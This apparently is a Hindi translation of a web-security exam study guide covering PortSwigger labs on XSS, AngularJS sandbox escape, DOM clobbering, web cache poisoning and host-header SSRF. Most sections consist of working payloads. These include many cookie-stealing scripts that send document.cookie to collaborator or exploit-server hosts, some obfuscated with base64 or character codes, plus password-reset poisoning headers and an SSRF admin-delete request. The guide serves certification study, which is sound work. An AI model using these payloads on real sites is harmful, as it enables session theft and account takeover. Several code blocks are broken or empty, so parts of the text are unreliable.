यहाँ कोई स्पष्ट सुरक्षा समस्या मौजूद नहीं है। हालाँकि, इस कोड की सुरक्षा इस बात पर निर्भर करती है कि इस कंट्रोलर और निकाले गए मानों का उपयोग बैक-एंड में कैसे किया जाता है।

$parse विधि AngularJS एक्सप्रेशन $scope.query का मूल्यांकन करती है।

उत्पन्न गतिशील कोड पेलोड का परीक्षण करने के लिए दूसरी key value pair जोड़ने हेतु & का उपयोग करना।

angularJS-sandbox-escape-add-2nd-key pair

मूल्यांकन होता है या नहीं यह निर्धारित करने के लिए दूसरे जोड़े गए key value name को एक्सप्रेशन में बदलना, /?search=key1value&7*7=payload और गणितीय परिणाम 49 है।

angularJS-sandbox-escape-2nd-key pair-eval

जब alert() को दूसरे key name के रूप में उपयोग किया जाता है तो पेलोड का निर्माण विफल हो जाता है, क्योंकि angularJS पार्सर के माध्यम से कोड को संकलित करता है।

AngulaJS सैंडबॉक्स - PortSwigger क्लाइंट-साइड टेम्पलेट इंजेक्शन दस्तावेज़ देखें

PortSwigger चीटशीट संदर्भ सैंडबॉक्स 1.4.4 एस्केप``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

root@kitploit:~
>Collaborator पेलोड ***कुकी चुराने वाला***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

उपरोक्त पेलोड स्ट्रिंग में प्रत्येक वर्ण के लिए ASCII दशमलव मान, अल्पविराम से अलग किए गए। प्रत्येक संख्या पेलोड स्ट्रिंग में संबंधित वर्ण के ASCII दशमलव मान को दर्शाती है।``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

root@kitploit:~
>किसी भी पेलोड को ASCIII दशमलव मानों में बदलने के लिए Python स्क्रिप्ट:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

कुकी स्टीलर पेलोड, ASCII दशमलव मान में AngularJS एक्सप्रेशन के रूप में सैंडबॉक्स के माध्यम से चलाया गया, PortSwigger समाधान चरणों से:

  1. एक्सप्लॉइट toString() का उपयोग करके बिना कोट्स के एक स्ट्रिंग बनाता है।
  2. फिर यह String प्रोटोटाइप प्राप्त करता है और हर स्ट्रिंग के लिए charAt फ़ंक्शन को ओवरराइट करता है।
  3. यह AngularJS सैंडबॉक्स को तोड़ता है। orderBy फ़िल्टर पर पारित एक ऐरे की अनुमति देता है।
  4. फ़िल्टर के लिए तर्क सेट करें, फिर से toString() का उपयोग करके एक स्ट्रिंग और String कंस्ट्रक्टर प्रॉपर्टी बनाएं।
  5. अंत में, fromCharCode मेथड का उपयोग करके अपने पेलोड को जनरेट करें, कैरेक्टर कोड को पेलोड उदाहरण x=alert(1) में परिवर्तित करके।
  6. charAt फ़ंक्शन को ओवरराइट कर दिया गया है, AngularJS इस कोड को सैंडबॉक्स से बचने की अनुमति देगा।

angularJS-sandbox-escape-cookie-stealer

PortSwigger विशेषज्ञ लैब: स्ट्रिंग्स के बिना AngularJS सैंडबॉक्स एस्केप के साथ रिफ्लेक्टेड XSS

XSS टेम्पलेट लिटरल

JavaScript टेम्पलेट लिटरल, स्ट्रिंग को समाहित करने के लिए उपयोग किए जाने वाले बैक टिक ` द्वारा पहचाना जाता है। लक्ष्य कोड पर हम पहचानते हैं कि खोज स्ट्रिंग एक टेम्पलेट लिटरल स्ट्रिंग के अंदर प्रतिबिंबित होती है।``` ${alert(document.cookie)}

root@kitploit:~
![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>***Adrián Gyurácz*** को धन्यवाद, जिन्होंने एक शानदार बाईपास प्रदान किया, जब मैं इस लैब के सभी फ़िल्टरों को बाईपास करने वाला एक कार्यशील कुकी स्टीलर पाने में विफल रहा।  

>***Adrián Gyurácz*** ने पोर्टस्विगर का निम्नलिखित शोध लेख खोजा, जो समाधान तक ले गया:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### उपरोक्त से आगे बढ़ते हुए, उसका पेलोड:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

चूंकि मूल लैब सत्र कुकी में सुरक्षा फ्लैग थे, उसने प्रमाण के लिए एक टेस्ट डमी कुकी बनाई:

Adrián Gyurácz

सर्च फंक्शन में पेलोड भेजने के बाद, मुझे एक कुकी स्टीलर हिट मिला:

Adrián Gyurácz

मुझे उम्मीद है कि दूसरों को उसका शोध उपयोगी लगेगा, और इसे अपनी गाइड में शामिल कर रहा हूँ। Tx.

PortSwigger लैब: एंगल ब्रैकेट्स, सिंगल, डबल कोट्स, बैकस्लैश और बैकटिक्स के साथ टेम्पलेट लिटरल में यूनिकोड-एस्केप्ड रिफ्लेक्टेड XSS


JSON के माध्यम से EVAL में XSS

यह PortSwigger Practice Exam APP सर्च फंक्शन कर रहा है और DOM Invader एक eval() फंक्शन में सिंक की पहचान करता है। सर्च परिणाम JSON सामग्री प्रकार में रखे जाते हैं।

Dom Invader EVAL identify

JSON डेटा से बाहर निकलने का परीक्षण करें और JSON सामग्री में टेस्ट पेलोड "-prompt(321)-" इंजेक्ट करें।

json-injection-escape.png

"-alert(document.cookie)-" पेलोड के साथ हमारे अपने सत्र कुकी मान को प्राप्त करने का प्रयास करने पर, फ़िल्टर संदेश लौटाया जाता है जो कहता है "Potentially dangerous search term"।

WAF खतरनाक सर्च फिल्टर और टैग को रोक रहा है, फिर हम JavaScript ग्लोबल वेरिएबल्स का उपयोग करके WAF फिल्टर को बायपास करते हैं।```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"

root@kitploit:~
[secjuice: जावास्क्रिप्ट ग्लोबल वेरिएबल्स का उपयोग करके XSS फ़िल्टर बायपास करें](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>नीचे BASE 64 एन्कोडिंग से पहले मुख्य [कुकी स्टीलर पेलोड](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) दिया गया है।```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

आगे, उपरोक्त कुकी चोर पेलोड के Base64 encoded मान का उपयोग करके पेलोड को एन्कोड करें।``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

root@kitploit:~
>अपने स्वयं के सत्र कुकी पर सर्च फ़ंक्शन में पेलोड का परीक्षण करें।```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

उपरोक्त पेलोड असेंबली चरणों को समझना:

  • eval() विधि का उपयोग करने पर किसी तर्क का मूल्यांकन या निष्पादन होता है।
  • atob() या btoa() स्ट्रिंग्स को base64 प्रारूप में और उससे वापस एन्कोड करने के लिए उपयोग किया जाने वाला फ़ंक्शन है।
  • यदि eval() ब्लॉक किया गया हो तो विकल्प:
    • setTimeout("code")
    • setInterval("code)
    • setImmediate("code")
    • Function("code")()

यह छवि दिखाती है कि Burp Collaborator Deliver exploit to victim के लिए पेलोड सेट करने से पहले प्रूफ ऑफ कॉन्सेप्ट के रूप में मेरी कुकी वैल्यू प्राप्त कर रहा है।

हमारे POC से base64 कुकी वैल्यू के साथ अनुरोध प्राप्त करता Burp collaborator।

इस पेलोड के सभी वर्णों को URL Encode करें और /?SearchTerm= पैरामीटर के मान के रूप में उपयोग करें।```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

root@kitploit:~
>एक्सप्लॉइट सर्वर पर `IFRAME` होस्ट करने से **error** संदेश मिलता है कि टारगेट से कनेक्ट करने से इनकार कर दिया गया। इसके बजाय पेलोड को एक्सप्लॉइट सर्वर पर `<script>` टैग्स के बीच होस्ट करें।```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(victim की cookie चुराने के लिए reflected xss डिलीवर करें.

नोट: यदि सक्रिय उपयोगकर्ता collaborator को HTTP अनुरोध नहीं भेजता है, तो Deliver exploit to victim कुछ बार भेजें। सक्रिय उपयोगकर्ता का रूप धारण करने के लिए वर्तमान cookie मान को चुराई गई cookie से बदलें और Practice Exam का Stage 2 पर आगे बढ़ें।

PortSwigger Practice Exam - Stage 1 - Foothold

Stored XSS

Stored XSS ब्लाइंड XSS भी हो सकता है। यदि alert payload ट्रिगर नहीं होता है, तो victim द्वारा क्लिक करने के लिए NahamSec blind xss video में दिया गया payload देखें, उदाहरण: <svg/onload=import('//EXPLOIT.net/blind_xss')>
यदि stored input लिंक पर क्लिक करने वाले victim को रीडायरेक्ट करता है, तो यह exploit server को अनुरोध भेजता है। Stored XSS की पहचान करने के लिए निम्नलिखित नमूना कोड का उपयोग करें।```HTML

root@kitploit:~
>नीचे दिए गए लॉग प्रविष्टियाँ एक्सप्लॉइट सर्वर पर किए गए अनुरोधों को दिखाती हैं, और लॉग्स से हम ***पहचान*** सकते हैं कि उपरोक्त टैग्स के `/img` और `/video` को एप्लिकेशन पर अनुमति दी गई थी और एक्सेस करने पर अनुरोध किए गए।  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>ब्लॉग पोस्ट टिप्पणी में सेव किया गया क्रॉस साइट स्क्रिप्टिंग। यह Cookie Stealer पेलोड फिर पीड़ित के सत्र कुकी को एक्सप्लॉइट सर्वर लॉग्स में भेजता है।```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

उत्पाद और स्टोर खोज```html ?productId=1&storeId=">

root@kitploit:~
#### Stored XSS ब्लॉग पोस्ट  

>Stored XSS ब्लॉग पोस्ट कुकी चुराने वाला, जो document cookie को exploit server पर भेजता है।```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

नीचे दिया गया टार्गेट ब्लॉग टिप्पणी फ़ंक्शन में एक संग्रहीत XSS भेद्यता रखता है। पोस्ट होने के बाद टिप्पणियाँ देखने वाले पीड़ित उपयोगकर्ता का सत्र कुकी चुराएँ, और फिर उनकी कुकी का उपयोग करके प्रतिरूपण करें।

संग्रहीत XSS ब्लॉग पोस्ट

Fetch API JavaScript कुकी स्टीलर पेलोड ब्लॉग पोस्ट टिप्पणी में।```JavaScript

root@kitploit:~
>[HackTheBox Bookworm का उपयोग करते हुए IPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), जिसमें वह `payload.js` JavaScript कोड दिखाता है कि वह `fetch` का उपयोग कैसे करता है और JavaScript सीखता है।  

[PortSwigger Lab: कुकीज़ चुराने के लिए क्रॉस-साइट स्क्रिप्टिंग का शोषण](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### संग्रहीत self-XSS को अपग्रेड करें  

>**Stored self-XSS** वाली ब्लॉग टिप्पणी, पेलोड को अपग्रेड करके पीड़ित की जानकारी DOM से चुराने के लिए। **edit content** फ़ंक्शन इनपुट को `<script>` टैग में दर्शाता है। **write comment** के लिए CSRF टोकन **edit content** फ़ंक्शंस के समान है। नीचे दिया गया पेलोड **write comment** फ़ंक्शन का उपयोग करके पीड़ित से उनके अपने ब्लॉग पर हमारी दुर्भावनापूर्ण सामग्री के साथ एक ब्लॉग प्रविष्टि बनवाता है।
>`a` वर्ण को प्रारंभिक एप्लिकेशन `source code` से `#` हैश वर्ण से बचने के लिए जोड़ा गया है।
>ब्लॉग प्रविष्टि में नीचे दिया गया `source code` पीड़ित की जानकारी चुराने के लिए पूर्ण शोषण है।```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

इस लक्ष्य का शोषण एक HTML इंजेक्शन बनाकर किया जाता है जो share_button नामक वेरिएबल को अधिलेखित करता है, नीचे source code देखें और ऊपर दिए गए HTML कोड का उपयोग करता है। सामग्री पृष्ठ पर प्रतिबिंबित होती है, फिर इस प्रतिबिंब का उपयोग करके पीड़ित के /edit पृष्ठ पर पृष्ठ पुनर्निर्देशन सक्षम होता है, जिसमें meta http-equiv टैग का उपयोग करके पृष्ठ को 1 सेकंड के बाद रीफ्रेश किया जाता है, जिसके परिणामस्वरूप पुनर्निर्देशन होता है।

clobbering javascript variable``` https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1

root@kitploit:~
>उपरोक्त ब्लॉग प्रविष्टि को संदर्भित करने वाला url पीड़ित को भेजकर शोषण वितरित करें, इससे उनके रूप में XSS ट्रिगर होगा।  

[intigriti - Self-XSS अपग्रेड - दिसंबर 22 XSS चैलेंज का समाधान](https://youtu.be/FowbZ8IlU7o)  

>Edit Content ब्लॉग प्रविष्टि पृष्ठ में HTML इंजेक्शन का उपयोग करके वैकल्पिक शोषण, [XSS Resources CSP check](#xss-resources) का उपयोग करके ***पहचाना गया***।```
<base href="https://Exploit.net">

एक्सप्लॉइट सर्वर पर JS फ़ाइल को static/js/bootstrap.bundle.min.js के रूप में होस्ट करें, निम्न सामग्री के साथ:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)

root@kitploit:~
>संशोधित PortSwigger लैब पेलोड अगली बार पृष्ठ लोड होने पर वेरिएबल `defaultAvatar` को `document.location` फ़ंक्शन सौंपता है, क्योंकि साइट DOMPurify का उपयोग करती है जो `cid:` प्रोटोकॉल के उपयोग की अनुमति देता है जो दोहरे उद्धरणों को URLencode नहीं करता है।```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

पोर्टस्विगर लैब: XSS सक्षम करने के लिए DOM क्लोबरिंग का शोषण

संग्रहीत DOM XSS

जावास्क्रिप्ट source code में, शामिल स्क्रिप्ट resources/js/loadCommentsWithVulnerableEscapeHtml.js में हम कस्टम loadComments फ़ंक्शन के अंदर html.replace() फ़ंक्शन की पहचान करते हैं। पेलोड का परीक्षण करने पर हम देखते हैं कि फ़ंक्शन केवल <> की पहली घटना को प्रतिस्थापित करता है।

stored dom-xss code replace```html <>

root@kitploit:~
>उपरोक्त पेलोड संग्रहीत होता है और कोई भी उपयोगकर्ता टिप्पणी ब्लॉग पर जाता है, जिसके परिणामस्वरूप उनकी सत्र कुकी चोरी होकर कॉलरेटर को भेज दी जाती है।  

![संग्रहीत DOM-XSS json टिप्पणियाँ](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>PortSwigger लैब पेलोड: `<>`।  

[PortSwigger लैब: Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## वेब कैश विषाक्तता  

[अनकीड हेडर](#unkeyed-header)  
[अनकीड Utm_content](#unkeyed-utm_content)  
[क्लोकिंग utm_content](#cloaking-utm_content)  
[अस्पष्ट अनुरोध को विषाक्त करें](#poison-ambiguous-request)  
[कई हेडरों को कैश विषाक्त करें](#cache-poison-multiple-headers)  

### अनकीड हेडर  

>लक्ष्य **tracking.js** जावास्क्रिप्ट का उपयोग करता है,  
>और **```X-Forwarded-Host```** या **```X-Host```** हेडर द्वारा पथ पुनर्निर्देशन के लिए संवेदनशील है,  
>जिससे कैश को विषाक्त करके कुकी की चोरी संभव होती है।  

>***पहचानें*** प्रतिक्रिया में वेब कैश हेडर को और पृष्ठ स्रोत कोड में tracking.js स्क्रिप्ट को।  
>जावास्क्रिप्ट होस्ट करके और हेडर इंजेक्ट करके भेद्यता का शोषण करें, ताकि लक्ष्य के कैश को विषाक्त कर किसी आने वाले पीड़ित को पुनर्निर्देशित किया जा सके।  

![ट्रैकिंग `स्रोत कोड` समीक्षा](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

tracking.js

एक्सप्लॉइट सर्वर पर होस्टिंग करना, अनुरोध में X-Forwarded-Host हेडर इंजेक्ट करना, और कैश को पॉइज़न करना जब तक कि पीड़ित पॉइज़न कैश को हिट न कर दे।``` /resources/js/tracking.js

root@kitploit:~
![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>बॉडी सहयोग सेवा को सत्र कुकी भेजता है।```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

लक्ष्य के वेब कैश को X-Forwarded-Host हेडर के साथ अनुरोध पुनः भेजकर पॉइज़न करते रहें।

x-cache-hit.png

PortSwigger लैब: बिना कुंजी वाले हेडर के साथ वेब कैश पॉइज़निंग

YouTube वीडियो जिसमें ऊपर दिए गए लैब पेलोड को एक्सप्लॉइट सर्वर पर संशोधित किया गया है ताकि जब पीड़ित बैक-एंड सर्वर पर कैश की गई प्रविष्टि को हिट करे तो पीड़ित का कुकी चुराई जा सके। पेलोड ऊपर दिया गया JavaScript है।

YouTube: बिना कुंजी वाले हेडर के साथ वेब कैश पॉइज़निंग - कुकी चुराने वाला

वेब कैश कमजोरियों की पहचान करने के लिए Param Miner एक्सटेंशन

बिना कुंजी वाला utm_content

लक्ष्य वेब कैश पॉइज़निंग के प्रति संवेदनशील है क्योंकि यह एक निश्चित पैरामीटर को कैश कुंजी से बाहर रखता है। Param Miner की "Guess GET parameters" सुविधा इस पैरामीटर को utm_content के रूप में पहचान करेगी।

कैश क्वेरी रिफ्लेक्ट हुई``` GET /?utm_content='/>

root@kitploit:~
>उपरोक्त payload कैश हो जाता है और लक्ष्य cookie पर जाने वाला पीड़ित Burp collaborator को भेज दिया जाता है।  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: Web cache poisoning via an unkeyed query parameter](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### utm_content क्लोकिंग  

>Param Miner एक्सटेंशन `Bulk scan > Rails parameter cloaking scan` चलाने पर इस कमजोरी को अपने आप ***पहचान*** लेगा। मैन्युअल रूप से `utm_content` में `;` जोड़कर दूसरा parameter जोड़कर इसे पहचाना जा सकता है, cache इसे एक ही parameter के रूप में मानता है। इसका मतलब है कि अतिरिक्त parameter भी cache key से बाहर रखा जाता है।  

>हर पेज पर `/js/geolocate.js?callback=setCountryCookie` का `source code` कॉल किया जाता है और callback फ़ंक्शन को निष्पादित करता है।  

>`callback` parameter keyed होता है, और इस प्रकार पीड़ित उपयोगकर्ता के लिए cache को poison नहीं किया जा सकता, लेकिन `utm_content` के साथ duplicate parameter को मिलाने पर यह बाहर कर दिया जाता है और cache को poison किया जा सकता है।```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

utm_content cache cloaking

नीचे Cache Cloaking Cookie Capturing पेलोड दिया गया है, जब तक पीड़ित संग्रहीत कैश को हिट न कर दे, कैश को पॉइज़न करते रहें।``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2

root@kitploit:~
>नीचे [Url Decoded](https://www.urldecoder.org/) पेलोड है।```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

PortSwigger लैब: पैरामीटर क्लोकिंग

अस्पष्ट अनुरोध को विषाक्त करें

एक एक्सप्लॉइट सर्वर के साथ दूसरा Host हेडर जोड़ने पर, यह एक अस्पष्ट कैश भेद्यता की पहचान करता है और आपके अनुरोध को रूट करता है। ध्यान दें कि दूसरे Host हेडर में मौजूद एक्सप्लॉइट सर्वर, /resources/js/tracking.js से स्क्रिप्ट आयात करने के लिए उपयोग किए जाने वाले एक एब्सोल्यूट URL में प्रतिबिंबित होता है।```html Host: TARGET.net Host: exploit.net

root@kitploit:~
>एक्सप्लॉइट सर्वर पर एक फ़ाइल को उसी पथ पर सेट करें जिसे लक्ष्य कॉल करता है ```/resources/js/tracking.js```, इसमें पेलोड होगा। कुकी स्टीलर (cookie stealer) निष्पादित करने के लिए नीचे JavaScript पेलोड कोड रखें।```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

अस्पष्ट होस्ट्स

PortSwigger लैब: अस्पष्ट अनुरोधों के माध्यम से वेब कैश पॉइज़निंग

कई हेडरों को कैश पॉइज़न करें

पहचानें कि प्रतिक्रियाओं में कैश हिट हेडर कौन से हैं,
फिर परीक्षण करें कि क्या लक्ष्य X-Forwarded-Host या X-Forwarded-Scheme हेडर को समर्थन करता है.
ये हेडर पीड़ित के सत्र कुकी की चोरी की अनुमति दे सकते हैं.

पहचानें कि क्या GET /resources/js/tracking.js अनुरोध में दो Forwarded हेडर जोड़ने से location प्रतिक्रिया हेडर में परिवर्तन होता है। यह पहचानता है कि कैश में कई हेडरों के साथ सकारात्मक पॉइज़निंग हुई है.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

root@kitploit:~
![x-forwarded-scheme not https](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>एक्सप्लॉइट सर्वर पर फ़ाइल पथ को ```/resources/js/tracking.js``` में बदलें  
>और फिर पॉइज़न अनुरोध ```X-Forwarded-Host: EXPLOIT.net``` हेडर को अपडेट करें।  
>पेलोड को एक्सप्लॉइट सर्वर बॉडी पर रखें।```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

cb=123 कैश बस्टर हटाएँ, और फिर कैश में तब तक ज़हर डालें जब तक पीड़ित एक्सप्लॉइट सर्वर पेलोड tracking.js पर पुनर्निर्देशित न हो जाए, ताकि सत्र कुकी चुराई जा सके।

PortSwigger लैब: एकाधिक हेडर के साथ वेब कैश पॉइज़निंग

डुप्लिकेट पैरामीटर फैट पॉइज़न

पहचानें कि एप्लिकेशन डुप्लिकेट पैरामीटर पॉइज़निंग के प्रति असुरक्षित है, समान नाम और भिन्न मान वाला दूसरा पैरामीटर जोड़ने पर प्रतिक्रिया में इंजेक्ट किया गया मान प्रतिबिंबित हुआ।

कंट्रीकोड सोर्स कोड``` GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2

root@kitploit:~
>डुप्लिकेट कॉलबैक पैरामीटर पास करके प्रतिक्रिया में कॉल किया जाने वाला फ़ंक्शन प्रतिबिंबित होता है। ध्यान दें कि प्रतिक्रिया में कैश कुंजी अभी भी GET अनुरोध पंक्ति में मूल कॉलबैक पैरामीटर से प्राप्त होती है।  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>कुकी स्टीलर पेलोड को कार्यशील बनाने में सक्षम नहीं......  

[PortSwigger लैब: फैट GET अनुरोध के माध्यम से वेब कैश पॉइज़निंग](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## Host हेडर  

[IP पता स्पूफ करें](#spoof-ip-address)  
[HOST कनेक्शन स्थिति](#host-connection-state)  
[Host रूटिंग आधारित SSRF](#host-routing-based-ssrf)  
[त्रुटिपूर्ण Host अनुरोध पार्सिंग के माध्यम से SSRF](#absolute-get-url--host-ssrf)  

### IP पता स्पूफ करें  

>***पहचानें*** कि संशोधित HOST हेडर समर्थित हैं,  
>जो आपको अपना IP पता स्पूफ करने और IP-आधारित ब्रूट-फोर्स सुरक्षा को बायपास करने की अनुमति देता है  
>या ***पासवर्ड रीसेट*** पॉइज़निंग करने के लिए रीडायरेक्शन हमले।  
  
>अनुरोध भेजने से पहले नीचे दिए गए `X- ` हेडर शामिल करें और पासवर्ड रीसेट अनुरोध पर उपयोगकर्ता नाम पैरामीटर को `Carlos` में बदलें।  
>BSCP परीक्षा में यदि आपने इस एक्सप्लॉइट का उपयोग किया है, तो इसका मतलब है कि आपने ऐसी भेद्यता का उपयोग नहीं किया है जिसके लिए उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है और जो आपको एक्सप्लॉइट सर्वर `Deliver exploit to victim` फ़ंक्शन का उपयोग करके व्यवस्थापक के रूप में चरण 3 तक पहुंच प्राप्त करने के लिए इंटरैक्शन भेद्यता का उपयोग करने की अनुमति देती है।```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

fullfox से टिप्स और नोट्स:

  • जब पासवर्ड रीसेट पर Host: या X-Forwarded-Host: का उपयोग करके होस्ट हेडर स्पूफिंग कर रहे हों, यदि आपको Invalid hostname त्रुटि मिलती है, तो निम्न होस्टनाम आज़माएँ: xxx.oastify.com?TARGET.net स्लैश के बिना वैध टारगेट URL।

एक्सप्लॉइट सर्वर लॉग की जाँच करें ताकि पीड़ित उपयोगकर्ता नाम के लिए रीसेट लिंक प्राप्त किया जा सके।

एक्सप्लॉइट सर्वर लॉग्स फॉरगॉट पासवर्ड रीसेट टोकन कैप्चर करते हैं

PortSwigger Lab: पासवर्ड रीसेट पॉइज़निंग मिडल-वेयर के माध्यम से

HOST कनेक्शन स्थिति

लक्ष्य होस्ट हेडर के माध्यम से रूटिंग-आधारित SSRF के लिए संवेदनशील है, लेकिन पहले अनुरोध की कनेक्शन स्थिति को सत्यापित करें। single connection का उपयोग करके क्रम में समूहबद्ध अनुरोध भेजना और कनेक्शन हेडर को keep-alive पर सेट करना, होस्ट हेडर सत्यापन को बायपास करता है और स्थानीय सर्वर के SSRF शोषण को सक्षम करता है।```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive

root@kitploit:~
>अगला अनुरोध अनुरोधों के समूह अनुक्रम में दूसरा टैब है।```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

